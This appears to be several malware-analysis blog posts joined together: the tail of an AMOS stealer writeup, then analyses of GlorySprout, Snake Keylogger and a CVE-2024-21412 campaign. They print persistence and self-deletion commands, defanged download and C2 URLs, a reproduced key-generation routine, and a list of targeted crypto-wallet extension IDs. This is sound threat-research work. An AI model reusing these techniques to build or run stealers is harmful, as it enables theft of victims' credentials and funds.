For processing files on Desktop and Documents folders it retrieves all files from the Desktop and the Documents folder. For each file, it checks if the file’s extension is in the predefined list mentioned above. If the file matches the criteria and the total size (bankSize) of processed files does not exceed 10 MB, it duplicates the file to the destination folder and updates “bankSize”.
You can access the list of decrypted strings here.
Conclusion
Besides encrypted strings, the new version appears to perform additional enumeration on the infected machine and, from what I could tell, the ZIP archive is not written to the disk anymore. The latest version of AMOS is definitely designed to leave as few traces as possible on the infected machines. There is also a typo in one of the wallet addresses in the new version for some reason acmacodkjbdgmoleeebolmdjonilkdbch , which is supposed to be acmacodkjbdgmoleebolmdjonilkdbch.
I would like to extend my thanks to Edward Crowder for his assistance with MacOS questions and to @cod3nym for the help in implementing the Python decryption function.
The GlorySprout ads surfaced on the XSS forum at the beginning of March 2024 (the name makes me think of beansprout; perhaps the seller behind the stealer is a vegetarian).
The stealer, developed in C++, is available for purchase at $300, offering lifetime access and 20 days of crypting service, which encrypts the stealer’s payload to evade detection. Similar to other stealers, it includes a pre-built loader, Anti-CIS execution, and a Grabber module (which is non-functional). While the stealer advertises AntiVM and keylogging capabilities, I have not witnessed either in action or code. Additionally, it features support for log backup and log banning, allowing for the exclusion of logs from specified countries or IPs.
What particularly captured my attention regarding this stealer was that an individual, who prefers to stay anonymous, informed me it’s a clone of Taurus Stealer and shared some interesting files with me.
Taurus Stealer Backstory
Let’s talk a little about Taurus Stealer Project. It first appeared for sale on XSS in April 2020.
The stealer is written in C++ with a Golang panel. It was sold for $150 for lifetime (I guess the pricing was different in 2020).
One of the XSS users claims that the panel is very similar to Predator The Thief stealer. You can read a nice writeup on Predator Stealer here.
The Predator stealer shares many similarities with Taurus Stealer, including encryption in C2 communication, Bot ID formatting, the Anti-VM feature, and naming conventions for log files, as well as resemblances in the panel GUI. However, to refocus, Taurus Stealer terminated their project around 2021. The cracked version of Taurus Stealer is being sold on Telegram, and there’s information suggesting that Taurus Stealer sold their source code, which could explain these parallels.
Now, let’s confirm the theories…
Below is the screenshot of GlorySprout panel:
And this is the Taurus Stealer panel:
Can you spot the similarities and differences? 🙂
There is a great writeup on Taurus Stealer out there by Outpost24 that you can access here.
I will focus on the brief analysis of GlorySprout so we can make some conclusions later.
GlorySprout Technical Analysis
GlorySprout dynamically resolves APIs through API hashing, targeting libraries such as shell32.dll, user32.dll, ole32.dll, crypt32.dll, advapi32.dll, ktmw32.dll, and wininet.dll. This hashing process involves operations such as multiplication, addition, XOR, and shifting.
The stealer accesses the hashed API values via specific offsets.
The Anti-CIS function is shown below:
The stealer exists if any of the language identifiers is found.
The stealer obfuscates the strings via XOR and arithmetic operations such as substitution.
The persistence is created via scheduled task named \WindowsDefender\Updater with ComSpec (cmd.exe) spawning the command /c schtasks /create /F /sc minute /mo 1 /tn “\WindowsDefender\Updater” /tr “. If the loader module is used, the task runs the dropped secondary payload from %TEMP% folder.
If the loader module is configured, the retrieved payload name (8 characters) would be randomly generated via the function below from the predefined string aAbBcCdDeEfFgGhHiIjJkKlLmMnNoOpPqQrRsStTuUvVwWxXyYzZ.
The function described is also used to generate the filename parameter in a Content-Disposition header for C2 communications as well as the RC4 key for the ZIP archive with collected data.
But the function to generate random string doesn’t always generate random strings and we will come back to it in the C2 communications section.
The C2 address of the stealer is retrieved from the resource section of the decrypted/unpacked payload.
C2 Communication
Communication with the C2 server is performed via port 80. Upon checking in with the C2 server, the infected machine sends out the POST request “/cfg/data=” using the user-agent “Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit / 537.36 (KHTML, like Gecko) Chrome / 83.0.5906.121 Safari/537.36”. The BotID value is encrypted with the RC4 key generated via random key generation function that was previously mentioned and base64-encoded. The RC4 key is the first 10 bytes of the encrypted string.
The base64-encoding set of characters is obfuscated as shown below.
Now, interestingly enough, the RC4 key for the initial check-in does not change depsite using the randomization, because the initial state value remains constant, which is 0xC40DF552. If we try the randomization function with Python and using the initial state value, we get the same value, which is IDaJhCHdIlfHcldJ.
The reproduced Python code for randomization function:
initial_seed = 0xC40DF552 # Initial state
src_data = bytes.fromhex("1B6C4C6D4D6E4E6F4F70507151725273537454755576567757785879597A5A7B5B7C5C7D5D7E5E7F5F80608161826283")
adjusted_src_data = bytearray(len(src_data))
for i, b in enumerate(src_data):
adjusted_src_data[i] = b - (src_data[0] % 16)
defrand(seed):
seed = (214013 * seed + 2531011) & 0xFFFFFFFF
return ((seed >> 16) & 0x7FFF), seed
defgenerate_key(a2, seed):
key = ""
for _ in range(a2):
rand_val, seed = rand(seed)
key += chr(adjusted_src_data[1 + (rand_val % 23)])
return key, seed
value, final_seed = generate_key(0x10, initial_seed)
value, final_seed
print(value)
After the check-in, the server responds with an encrypted configuration, where the first 10 bytes is the RC4 key.
Here is an example breakdown of the configuration (0: stands for disabled, 1: stands for enabled):
1: Grab browser history
1: Grab screenshot
1: Grab cryptowallets recursively from %AppData% folder (Cryptowallets supported based on the analysis: Electrum, MultiBit, Armory, Ethereum, Bytecoin, Jaxx, Atomic, Exodus, DashCore, Bitcoin, WalletWasabi, Daedalus Mainnet, Monerom )
1: Grab Steam sessions
1: Grab BattleNet account information
1: Grab Telegram session
1: Grab Discord session
1: Grab Skype messages
1: Grab Jabber accounts from %AppData% folder
1: Grab Foxmail accounts
1: Grab Outlook accounts
1: Grab FileZilla data
1: Grab WinFTP accounts
1: Grab WinSCP accounts
1: Grab Authy
0: Grab NordVPN
0: Unknown placeholder
1: Anti-VM
1: Self-deletion (self-delete after sending the logs to C2): self-deletion performs with the command “C:\Windows\system32\cmd.exe” /c ping google.com && erase C:\Users\username\Desktop\payload.exe” . Pinging introduces the delay, likely to guarantee the successful full execution of the payload.
loader_URL – contains the link to the secondary payload
1: Only with crypto – the loader payload only runs if cryptowallets are present on the machine
1: Autorun – creates the persistence for a secondary payload
1: Start after creating – runs the secondary payload after dropping it in %TEMP% folder
After receiving the configuration, the infected machine sends out the POST request with /log/ parameter containing the ZIP archive with collected data to C2 server as shown below:
The data is encrypted the same way, with RC4 and Base64-encoded.
The server sends 200 OK response to the machine and the machine ends the communication with the POST request containing /loader/complete/?data=1 .
Additional Information
As mentioned before, the panel of the stealer is written in Golang. The panel also utilizes SQL databases to process configuration and data. The stealer makes use of sqlx library, a popular extension for Go’s standard database/sql package designed to make it easier to work with SQL databases.
Interesting usernames found in mysql database:
It’s worth nothing that the database contains the mention of taurus. At this point, we can make a confident assessment that it’s a clone of Taurus Stealer code based on the technical analysis.
The example of the collected log:
General/forms.txt – contains the decrypted browser passwords. The browser passwords are decrypted on the server.
Conclusion
Based on the GlorySprout analysis, it is confidently assessed that the individual behind GlorySprout cloned the code of the Taurus Stealer project and modified it according to their specific needs and requirements. A notable difference is that GlorySprout, unlike Taurus Stealer (according to the version analyzed by Outpost24), does not download additional DLL dependencies from C2 servers. Additionally, GlorySprout lacks the Anti-VM feature that is present in Taurus Stealer. GlorySprout is likely to fade away e and fail to achieve the popularity of other stealers currently on the market.
Affected platforms: Microsoft Windows Impacted parties: Windows Users Impact: Collects sensitive information from the victim’s computer Severity level: High
Fortinet’s FortiGuard Labs recently caught a phishing campaign in the wild with a malicious Excel document attached to the phishing email. We performed a deep analysis on the campaign and discovered that it delivers a new variant of Snake Keylogger.
Snake Keylogger (aka “404 Keylogger” or “KrakenKeylogger”) is a subscription-based keylogger with many capabilities. It is a .NET-based software originally sold on a hacker forum.
Once executed on a victim’s computer, it has the ability to steal sensitive data, including saved credentials from web browsers and other popular software, the system clipboard, and basic device information. It can also log keystrokes and capture screenshots.
In the following sections, we will look at the phishing spam, how it lures the recipient into opening a malicious Excel document, how the Excel document downloads and executes a new variant of Snake Keylogger, and what anti-analysis techniques it uses to protect itself from being detected and blocked during the attack.
Snake Keylogger Overview
The Phishing Email
Figure 1: The phishing email.
The email content in Figure 1 attempts to deceive the recipient into opening the attached Excel file (swift copy.xls) by claiming that funds have been transferred into their account. To warn the user, the FortiGuard service marks this phishing email as “[virus detected],” as shown in the subject line.
The Malicious Excel Document
Figure 2: When the Excel file is opened in Excel program.
Figure 2 shows the content of the attached Excel file when opened in the Office Excel program. Meanwhile, malicious code is executed in the background to download other files.
Looking into the binary data of the Excel file, it contains a specially crafted embedded link object that exploits the CVE-2017-0199 vulnerability to download a malicious file. Figure 3 displays the embedded link object (“\x01Ole”). The link is “hxxp[:]//urlty[.]co/byPCO,” which is secretly requested by the Excel program when the file is opened.
Figure 3: Crafted embedded OLE link object.
When the link is accessed, it returns with another URL in the “Location” field of the response header, which is “hxxp[:]//192.3.176[.]138/xampp/zoom/107.hta”. HTA file is an HTML Application file executed by a Windows application— by default, the HTML Application host (mshta.exe).
The 107.hta file is full of obfuscated JavaScript code that is executed automatically when loaded by mshta.exe. Figure 4 shows a partial view of the JavaScript code.
Figure 4: The partial content of the downloaded file “107.hta”.
VBScript Code & PowerShell Code
After decoding and de-obfuscating the JavaScript code, we were able to get a piece of the VBScript code, as shown in Figure 5.
Figure 5: The VBScript code decoded from Javascript code.
It’s evident that the VBScript code created an object of “Script.Shell” and executed a piece of PowerShell code decoded from a base64 string, defined in the variable “ps_code”. This PowerShell code is then executed by “cmd.exe” (%ComSpec%) when the “shellObj.Run()” function is called.
The base64 decoded PowerShell code is shown below. It invokes a Windows API, URLDownloadToFile(), to download an executable file to the victim’s computer and run it after waiting three seconds.
The URL of the executable file is hardcoded as “hxxp[:]//192.3.176[.]138/107/sahost.exe” and the local file is “%Appdata%\sahost.exe”. The PowerShell code finally starts the executable file by calling Start “$Env:AppData\sahost.exe”.
Dive into the Loader-Module
My research shows that the downloaded EXE file (sahost.exe) contains a new variant of Snake Keylogger, which is extracted, decrypted, loaded, and run by the EXE file. I will refer to this downloaded EXE file as the Loader module.
Figure 6 is a screenshot of its analysis in a packer detection tool. It was developed using the Microsoft .Net Framework.
Figure 6: Properties of the downloaded EXE.
To protect the Snake Keylogger core module from being detected and blocked by cybersecurity products, sahost.exe uses multiple-layer protection techniques, like transformation and encryption, within several named resources. When sahost.exe starts, it extracts several modules (dlls) onto its memory from the Resource section that provide methods to inquire, extract, decrypt, install, and deploy the core module.
The original name of “sahost.exe” is “utGw.exe.” It decrypts and extracts a module called “FGMaker.dll” from a resource named “siri” in its Resource section. Figure 7 shows some of that code.
Figure 7: Load a module from Resouce “siri”
The “FGMaker.dll” module extracts additional modules (such as “Q” and “Gammar.dll”) that work together to extract and decrypt a module called “Tyrone.dll” from the resource “KKki”.
Figure 8: Resource “KKki” is about to load
You may have noticed in Figure 8 that it loads “KKki” as a Bitmap resource. The module “Tyrone.dll” was encrypted, broken down into bytes, and kept in the Bitmap resource. Figure 9 shows the content of the resource “KKki” as a Bitmap picture.
Figure 9: Bitmap resource “KKki”.
After another decryption sequence, we can see the plaintext of the “Tyrone.dll” module in memory. It is then loaded as an executable module by calling the Assembly.Load() method.
Figure 10 showcases the modules that have been extracted and loaded by the Loader module so far.
Figure 10: Relevant modules extracted by the Loader module.
Dissecting the Deploy Module
I will refer to “Tyrone.dll” as “Deploy module” in the following analysis. It performs the following functions:
Renames the Loader module file.
This checks whether the current process’s full path is “% AppData%WeENKtk.exe,” renames it, and sets attributes (Hidden, ReadOnly, System, etc.) to it if the result is no. On the very first run, it was %AppData%sahost. exe.
Ensures Snake Keylogger persistence.
The Deploy module runs the “schetasks.exe” command to create a new scheduled task in the system Task Scheduler. This allows Snake Keylogger to launch at system startup. Figure 11 shows the scheduled task for Snake Keylogger.
Figure 11: Snake Keylogger is added in the system Task Scheduler.
Process hollowing.
The Deploy module obtains a resource data, “I7O14IyvsdO,” from its own Resource section. Then, it decrypts the data with the string key “YRDdITlYRXI” into a final PE file in its memory. This is the core module of Snake Keylogger.
Next, the Deploy module performs process hollowing, a malware technique that creates a new process and then inserts malicious code into it to run. This allows it to hide its original process.
Figure 12: Break on a method calling CreateProcess().
Figure 12 shows that it about to call the obfuscated API CreateProcess(). It has a key argument, “Creation Flag,” indicating how to create the process. Its value has been set to 134217732, i.e. 0x08000004 in hexadecimal. It is defined as “CREATE_SUSPENDED” and “CREATE_NO_WINDOW.” The process name, the first argument to CreateProcess(), is the same as the Loader module.
To complete the process hollowing, it needs to call some relevant Windows APIs, such as ZwUnmapViewOfSection(), VirtualAllocEx(), ReadProcessMemory(), WriteProcessMemory(), GetThreadContext(), SetThreadContext(), and ResumeThread().
Snake Keylogger Core Module and Features
The core module’s original name is “lfwhUWZlmFnGhDYPudAJ.exe.” Figure 13 shows that the attacker has fully obfuscated the entire module, which displays its entry point (“Main()”) and the obfuscated code, class names, and method names.
The Snake Keylogger’s structure is very clear. We can see its capability to collect private and sensitive information from the victim’s device, including the device’s basic information, saved credentials, keystrokes, screenshots, and data on the system clipboard.
The features are split into different methods driven by Timers. Snake Keylogger also has some relevant flag variables indicating whether the feature is enabled.
This variant of Snake Keylogger only enables the credential collection feature.
First, Snake Keylogger fetches the device’s basic information, like the PC name, System time, IP address, Country name, Region name, City name, TimeZone, and so on. Figure 14 shows an example of the basic information collected from one of my testing devices.
Figure 14: Basic information example.
This Snake Keylogger variant includes several hardcoded IP addresses the attacker may believe are used by some sample automatic analysis systems they want to avoid.
Figure 15: Method to detect victim’s IP address.
One method called “anti_bot(),” shown in Figure 15, checks the hardcoded IP addresses. “BotDetected” is returned if the victim’s IP address matches any of those IP addresses. This results in the Snake Keylogger only collecting credentials but never sending them to the attacker.
Credentials Collection
Snake Keylogger collects saved credentials from over 50 popular software programs, categorized as web browsers, email clients, IM clients, and FTP clients.
Figure 16: Method for fetching Google Chrome credentials.
Every software has its own profile folder for saving configuration data. Snake Keylogger traverses all the profile files, looking for the saved credentials. Figure 16 is an example of the method used for Google Chrome. As you may have noticed in the “Locals” tab, it just obtained one set of credentials, including “URL,” “Login ID,” and “Login Password.”
Mozilla-based Web Browsers: “SeaMonkey,” “IceDragon,” “CyberFox,” “WaterFox,” “Postbox,” and “PaleMoon”
Other Web Browsers: “Opera,” “Firefox”.
Email clients: “FoxMail,” “Thunderbird”.
FTP clients: “FileZilla”.
IM client: “Pidgin,” “Discord”.
All the credentials collected from the above software are temporarily stored in a global variable.
Stolen Credentials Submitted Over SMTP
Snake Keylogger variants have several ways to submit harvested credentials to the attacker, including uploading the data onto an FTP server, sending it to an email address, and submitting it over Telegram’s bot over HTTP Post method. This variant of Snake Keylogger sends data over SMTP.
Figure 17 is a screenshot of how it builds the email content. The upper part contains the code that includes the email’s sender, recipient, subject, and body, while the lower part shows the content of the variable “mailMessage” with the data filled by the code.
Figure 17: Created email message with collected credentials.
The email’s body contains the computer’s basic information saved in a global variable, followed by the credentials stolen from the victim’s computer saved in another global variable. It then creates an SMTP client, and its Send() method is called to send the credentials to the attacker.
Figure 18 shows an example of how the email looks in Microsoft Outlook.
Figure 18: Attacker’s view of the email.
Snake Keylogger Summary
Figure 19 illustrates the entire workflow of the Snake Keylogger campaign.
Figure 19: Snake Keylogger campaign workflow.
This analysis reviewed the entire process of this Snake Keylogger campaign, which is being led by a phishing email.
The phishing email, which included a malicious Excel document, lured the recipient into opening the file to see the details of a “balance payment.” The Excel document was displayed in different tools, and I explained how it downloads an HTA file by exploiting a known vulnerability.
It then leverages multiple language scripts, such as JavaScript, VBScript, and PowerShell, to download the Snake Keylogger’s Loader module.
Afterward, I elaborated on how the Loader module extracts multiple modules (including several middle modules and the Deploy module) from the file’s Resource section. Malware often uses a process like this to prevent being detected and analyzed.
Next, I introduced how the Snake Keylogger Deploy module establishes persistence on the victim’s computer and conducts process hollowing to put the core module into a newly created process to run.
Finally, we examined how the Snake Keylogger steals sensitive information from the victim’s computer and how the stolen data is sent to the attacker using the SMTP protocol.
Fortinet Protections
Fortinet customers are already protected from this campaign with FortiGuard’s AntiSPAM, Web Filtering, IPS, and AntiVirus services as follows:
The relevant URLs are rated as “Malicious Websites” by the FortiGuard Web Filtering service.
FortiMail recognizes the phishing email as “virus detected.” In addition, real-time anti-phishing provided by FortiSandbox embedded in Fortinet’s FortiMail, web filtering, and antivirus solutions provides advanced protection against both known and unknown phishing attempts.
FortiGuard IPS service detects the vulnerability exploit against CVE-2017-0199 with the signature “MS.Office.OLE.autolink.Code.Execution”.
FortiGuard Antivirus service detects the attached Excel document, 107.hta, the downloaded executable file and the extracted Snake Keylogger with the following AV signatures.
FortiGate, FortiMail, FortiClient, and FortiEDR support the FortiGuard AntiVirus service. The FortiGuard AntiVirus engine is part of each solution. As a result, customers who have these products with up-to-date protections are already protected.
The FortiGuard CDR (content disarm and reconstruction) service can disarm the embedded link object inside the Excel document.
To stay informed of new and emerging threats, you can sign up to receive future alerts.
We also suggest our readers go through the free Fortinet Cybersecurity Fundamentals (FCF) training, a module on Internet threats designed to help end users learn how to identify and protect themselves from phishing attacks.
Affected Platforms: Microsoft Windows Impacted Users: Microsoft Windows Impact: The stolen information can be used for future attack Severity Level: High
CVE-2024-21412 is a security bypass vulnerability in Microsoft Windows SmartScreen that arises from an error in handling maliciously crafted files. A remote attacker can exploit this flaw to bypass the SmartScreen security warning dialog and deliver malicious files. Over the past year, several attackers, including Water Hydra, Lumma Stealer, and Meduza Stealer, have exploited this vulnerability.
FortiGuard Labs has observed a stealer campaign spreading multiple files that exploit CVE-2024-21412 to download malicious executable files. Initially, attackers lure victims into clicking a crafted link to a URL file designed to download an LNK file. The LNK file then downloads an executable file containing an HTA script. Once executed, the script decodes and decrypts PowerShell code to retrieve the final URLs, decoy PDF files, and a malicious shell code injector. These files aim to inject the final stealer into legitimate processes, initiating malicious activities and sending the stolen data back to a C2 server.
The threat actors have designed different injectors to evade detection and use various PDF files to target specific regions, including North America, Spain, and Thailand. This article elaborates on how these files are constructed and how the injector works.
Figure 1: Telemetry
Figure 2: Attack chain
Initial Access
To start, the attacker constructs a malicious link to a remote server to search for a URL file with the following content:
Figure 3: URL files
The target LNK file employs the “forfiles” command to invoke PowerShell, then executes “mshta” to fetch an execution file from the remote server “hxxps://21centuryart.com.”
Figure 4: LNK file
During our investigation, we collected several LNK files that all download similar executables containing an HTA script embedded within the overlay. This HTA script has set WINDOWSTATE=”minimize” and SHOWTASKBAR=”no.” It plays a crucial role in the infection chain by executing additional malicious code and seamlessly facilitating the next stages of the attack.
Figure 5: HTA script in overlay
After decoding and decrypting the script, a PowerShell code downloads two files to the “%AppData%” folder. The first is a decoy PDF, a clean file that extracts the victim’s attention from malicious activity, and the other is an execution file that injects shell code for the next stage.
Figure 1: Telemetry
Figure 7: Decoy PDF files
Shell Code Injector
In this attack chain, we identified two types of injectors. The first leverages an image file to obtain a shell code. As of mid-July, it had low detection rates on VirusTotal.
Figure 8: Shell code injector on VirusTotal
After anti-debugging checking, it starts downloading a JPG file from the Imghippo website, “hxxps://i.imghippo[.]com/files/0hVAM1719847927[.]png.” It then uses the Windows API “GdipBitmapGetPixel” to access the pixels and decode the bytes to get the shell code.
Figure 9: Getting the PNG file
It then calls “dword ptr ss:[ebp-F4]” to the entry point of the shell code. The shell code first obtains all the APIs from a CRC32 hash, creates a folder, and drops files in “%TEMP%.” We can tell that these dropped files are HijackLoader based on the typical bytes “\x49\x44\x 41\x54\xC6\xA5\x79\xEA” found in the encrypted data.
Figure 10: Call shell code’s entry point
Figure 11: CRC32 hashes for Windows APIs
Figure 12: Dropping files in the temp folder
Figure 13: Dropped HijackLoader files
The other injector is more straightforward. It decrypts its code from the data section and uses a series of Windows API functions—NtCreateSection, NtMapViewOfSection, NtUnmapViewOfSection, NtMapViewOfSection again, and NtProtectVirtualMemory—to perform shell code injection.
Figure 14: Assembly code for calling shell code
Final Stealers
This attack uses Meduza Stealer version 2.9 and the panel found at hxxp://5[.]42[.]107[.]78/auth/login.
Figure 15: Meduza Stealer’s panel
We also identified an ACR stealer loaded from HijackLoader. This ACR stealer hides its C2 with a dead drop resolver (DDR) technique on the Steam community website, hxxps://steamcommunity[.]com/profiles/76561199679420718.
Figure 16: Base64 encoded C2 on Steam
We also found the C2 for other ACR Stealers on Steam by searching for the specific string, “t6t”.
Figure 17: Other ACR Stealer’s C2 server information on Steam
After retrieving the C2 hostname, the ACR stealer appends specific strings to construct a complete URL, “hxxps://pcvcf[.]xyz/ujs/a4347708-adfb-411c-8f57-c2c166fcbe1d”. This URL then fetches the encoded configuration from the remote server. The configuration data typically contains crucial information, such as target specifics and operational parameters for the stealer. By decoding the C2 from Steam, the stealer can adapt legitimate web services to maintain communications with its C2 server.
Figure 18: Decoded ACR Stealer’s configuration
Except for local text files in paths “Documents” and “Recent, “ ACR Stealer has the following target applications:
Browser: Google Chrome, Google Chrome SxS, Google Chrome Beta, Google Chrome Dev, Google Chrome Unstable, Google Chrome Canary, Epic Privacy Browser, Vivaldi, 360Browser Browser, CocCoc Browser, K-Melon, Orbitum, Torch, CentBrowser, Chromium, Chedot, Kometa, Uran, liebao, QIP Surf, Nichrome, Chromodo, Coowon, CatalinaGroup Citrio, uCozMedia Uran, Elements Browser, MapleStudio ChromePlus, Maxthon3, Amigo, Brave-Browser, Microsoft Edge, Opera Stable, Opera GX Stable, Opera Neon, Mozilla Firefox, BlackHawk, and TorBro.
Email Clients: Mailbird, eM Client, The Bat!, PMAIL, Opera Mail, yMail2, TrulyMail, Pocomail, and Thunderbird.
VPN Service: NordVPN and AzireVPN.
Password Manager: Bitwarden, NordPass, 1Password, and RoboForm.
Other: AnyDesk, MySQL Workbench, GHISLER, Sticky Notes, Notezilla , To-Do DeskList, snowflake-ssh, and GmailNotifierPro.
The following Chrome Extensions:
nphplpgoakhhjchkkhmiggakijnkhfnd
apbldaphppcdfbdnnogdikheafliigcf
fldfpgipfncgndfolcbkdeeknbbbnhcc
ckdjpkejmlgmanmmdfeimelghmdfeobe
omaabbefbmiijedngplfjmnooppbclkk
iodngkohgeogpicpibpnaofoeifknfdo
afbcbjpbpfadlkmhmclhkeeodmamcflc
hnefghmjgbmpkjjfhefnenfnejdjneog
lodccjjbdhfakaekdiahmedfbieldgik
fpcamiejgfmmhnhbcafmnefbijblinff
hcflpincpppdclinealmandijcmnkbgn
egdddjbjlcjckiejbbaneobkpgnmpknp
bcopgchhojmggmffilplmbdicgaihlkp
nihlebdlccjjdejgocpogfpheakkpodb
fhmfendgdocmcbmfikdcogofphimnkno
ilbibkgkmlkhgnpgflcjdfefbkpehoom
kpfopkelmapcoipemfendmdcghnegimn
oiaanamcepbccmdfckijjolhlkfocbgj
fhbohimaelbohpjbbldcngcnapndodjp
ldpmmllpgnfdjkmhcficcifgoeopnodc
cnmamaachppnkjgnildpdmkaakejnhae
mbcafoimmibpjgdjboacfhkijdkmjocd
nlbmnnijcnlegkjjpcfjclmcfggfefdm
jbdpelninpfbopdfbppfopcmoepikkgk
amkmjjmmflddogmhpjloimipbofnfjih
onapnnfmpjmbmdcipllnjmjdjfonfjdm
cphhlgmgameodnhkjdmkpanlelnlohao
cfdldlejlcgbgollnbonjgladpgeogab
kncchdigobghenbbaddojjnnaogfppfj
ablbagjepecncofimgjmdpnhnfjiecfm
jojhfeoedkpkglbfimdfabpdfjaoolaf
fdfigkbdjmhpdgffnbdbicdmimfikfig
ffnbelfdoeiohenkjibnmadjiehjhajb
njojblnpemjkgkchnpbfllpofaphbokk
pdgbckgdncnhihllonhnjbdoighgpimk
hjagdglgahihloifacmhaigjnkobnnih
ookjlbkiijinhpmnjffcofjonbfbgaoc
pnlccmojcmeohlpggmfnbbiapkmbliob
mnfifefkajgofkcjkemidiaecocnkjeh
ljfpcifpgbbchoddpjefaipoiigpdmag
flpiciilemghbmfalicajoolhkkenfel
bhghoamapcdpbohphigoooaddinpkbai
jfdlamikmbghhapbgfoogdffldioobgl
gaedmjdfmmahhbjefcbgaolhhanlaolb
nkbihfbeogaeaoehlefnkodbefgpgknn
imloifkgjagghnncjkhggdhalmcnfklk
aiifbnbfobpmeekipheeijimdpnlpgpp
oeljdldpnmdbchonielidgobddffflal
aeachknmefphepccionboohckonoeemg
ilgcnhelpchnceeipipijaljkblbcobl
hpglfhgfnhbgpjdenjgmdgoeiappafln
nngceckbapebfimnlniiiahkandclblb
nknhiehlklippafakaeklbeglecifhad
oboonakemofpalcgghocfoadofidjkkk
dmkamcknogkgcdfhhbddcghachkejeap
fdjamakpfbbddfjaooikfcpapjohcfmg
jnmbobjmhlngoefaiojfljckilhhlhcj
fooolghllnmhmmndgjiamiiodkpenpbb
klnaejjgbibmhlephnhpmaofohgkpgkd
bfogiafebfohielmmehodmfbbebbbpei
ibnejdfjmmkpcnlpebklmnkoeoihofec
lfochlioelphaglamdcakfjemolpichk
ejbalbakoplchlghecdalmeeeajnimhm
hdokiejnpimakedhajhdlcegeplioahd
kjmoohlgokccodicjjfebfomlbljgfhk
naepdomgkenhinolocfifgehidddafch
fnjhmkhhmkbjkkabndcnnogagogbneec
bmikpgodpkclnkgmnpphehdgcimmided
nhnkbkgjikgcigadomkphalanndcapjk
nofkfblpeailgignhkbnapbephdnmbmn
hnfanknocfeofbddgcijnmhnfnkdnaad
jhfjfclepacoldmjmkmdlmganfaalklb
cihmoadaighcejopammfbmddcmdekcje
chgfefjpcobfbnpmiokfjjaglahmnded
bfnaelmomeimhlpmgjnjophhpkkoljpa
igkpcodhieompeloncfnbekccinhapdb
djclckkglechooblngghdinmeemkbgci
cfhdojbkjhnklbpkdaibdccddilifddb
jiidiaalihmmhddjgbnbgdfflelocpak
kmmkllgcgpldbblpnhghdojehhfafhro
lgmpcpglpngdoalbgeoldeajfclnhafa
ibegklajigjlbljkhfpenpfoadebkokl
egjidjbpglichdcondbcbdnbeeppgdph
ijpdbdidkomoophdnnnfoancpbbmpfcn
flhbololhdbnkpnnocoifnopcapiekdi
llalnijpibhkmpdamakhgmcagghgmjab
kkhmbjifakpikpapdiaepgkdephjgnma
mjdmgoiobnbombmnbbdllfncjcmopfnc
ekkhlihjnlmjenikbgmhgjkknoelfped
dlcobpjiigpikoobohmabehhmhfoodbb
jngbikilcgcnfdbmnmnmnleeomffciml
jnlgamecbpmbajjfhmmmlhejkemejdma
hcjginnbdlkdnnahogchmeidnmfckjom
kbdcddcmgoplfockflacnnefaehaiocb
ogphgbfmhodmnmpnaadpbdadldbnmjji
kgdijkcfiglijhaglibaidbipiejjfdp
hhmkpbimapjpajpicehcnmhdgagpfmjc
epapihdplajcdnnkdeiahlgigofloibg
ojhpaddibjnpiefjkbhkfiaedepjheca
mgffkfbidihjpoaomajlbgchddlicgpn
fmhjnpmdlhokfidldlglfhkkfhjdmhgl
ebfidpplhabeedpnhjnobghokpiioolj
gjhohodkpobnogbepojmopnaninookhj
dngmlblcodfobpdpecaadgfbcggfjfnm
hmglflngjlhgibbmcedpdabjmcmboamo
ldinpeekobnhjjdofggfgjlcehhmanlj
eklfjjkfpbnioclagjlmklgkcfmgmbpg
mdjmfdffdcmnoblignmgpommbefadffd
jbkfoedolllekgbhcbcoahefnbanhhlh
aflkmfhebedbjioipglgcbcmnbpgliof
mcohilncbfahbmgdjkbpemcciiolgcge
dmjmllblpcbmniokccdoaiahcdajdjof
jbdaocneiiinmjbjlgalhcelgbejmnid
lnnnmfcpbkafcpgdilckhmhbkkbpkmid
blnieiiffboillknjnepogjhkgnoapac
odpnjmimokcmjgojhnhfcnalnegdjmdn
cjelfplplebdjjenllpjcblmjkfcffne
bopcbmipnjdcdfflfgjdgdjejmgpoaab
fihkakfobkmkjojpchpfgcmhfjnmnfpi
cpmkedoipcpimgecpmgpldfpohjplkpp
kkpllkodjeloidieedojogacfhpaihoh
khpkpbbcccdmmclmpigdgddabeilkdpd
nanjmdknhkinifnkgdcggcfnhdaammmj
mcbigmjiafegjnnogedioegffbooigli
nkddgncdjgjfcddamfgcmfnlhccnimig
fiikommddbeccaoicoejoniammnalkfa
acmacodkjbdgmoleebolmdjonilkdbch
heefohaffomkkkphnlpohglngmbcclhi
phkbamefinggmakgklpkljjmgibohnba
ocjdpmoallmgmjbbogfiiaofphbjgchh
efbglgofoippbgcjepnhiblaibcnclgk
hmeobnfnfcmdkdcmlblgagmfpfboieaf
lpfcbjknijpeeillifnkikgncikgfhdo
kfdniefadaanbjodldohaedphafoffoh
ejjladinnckdgjemekebdpeokbikhfci
kmhcihpebfmpgmihbkipmjlmmioameka
opcgpfmipidbgpenhmajoajpbobppdil
gafhhkghbfjjkeiendhlofajokpaflmk
aholpfdialjgjfhomihkjbmgjidlcdno
kglcipoddmbniebnibibkghfijekllbl
onhogfjeacnfoofkfgppdlbmlmnplgbn
iokeahhehimjnekafflcihljlcjccdbe
mopnmbcafieddcagagdcbnhejhlodfdd
idnnbdplmphpflfnlkomgpfbpcgelopg
fijngjgcjhjmmpcmkeiomlglpeiijkld
kmphdnilpmdejikjdnlbcnmnabepfgkh
hifafgmccdpekplomjjkcfgodnhcellj
cgeeodpfagjceefieflmdfphplkenlfk
ijmpgkjfkbfhoebgogflfebnmejmfbm
pdadjkfkgcafgbceimcpbkalnfnepbnk
lkcjlnjfpbikmcmbachjpdbijejflpcm
odbfpeeihdkbihmopkbjmoonfanlbfcl
onofpnbbkehpmmoabgpcpmigafmmnjh
fhilaheimglignddkjgofkcbgekhenbh
dkdedlpgdmmkkfjabffeganieamfklkm
aodkkagnadcbobfpggfnjeongemjbjca
nlgbhdfgdhgbiamfdfmbikcdghidoadd
dngmlblcodfobpdpecaadgfbcggfjfnm
infeboajgfhgbjpjbeppbkgnabfdkdaf
lpilbniiabackdjcionkobglmddfbcjo
ppbibelpcjmhbdihakflkdcoccbgbkpo
bhhhlbepdkbapadjdnnojkbgioiodbic
klghhnkeealcohjjanjjdaeeggmfmlpl
jnkelfanjkeadonecabehalmbgpfodjm
enabgbdfcbaehmbigakijjabdpdnimlg
jgaaimajipbpdogpdglhaphldakikgef
mmmjbcfofconkannjonfmjjajpllddbg
kppfdiipphfccemcignhifpjkapfbihd
bifidjkcdpgfnlbcjpdkdcnbiooooblg
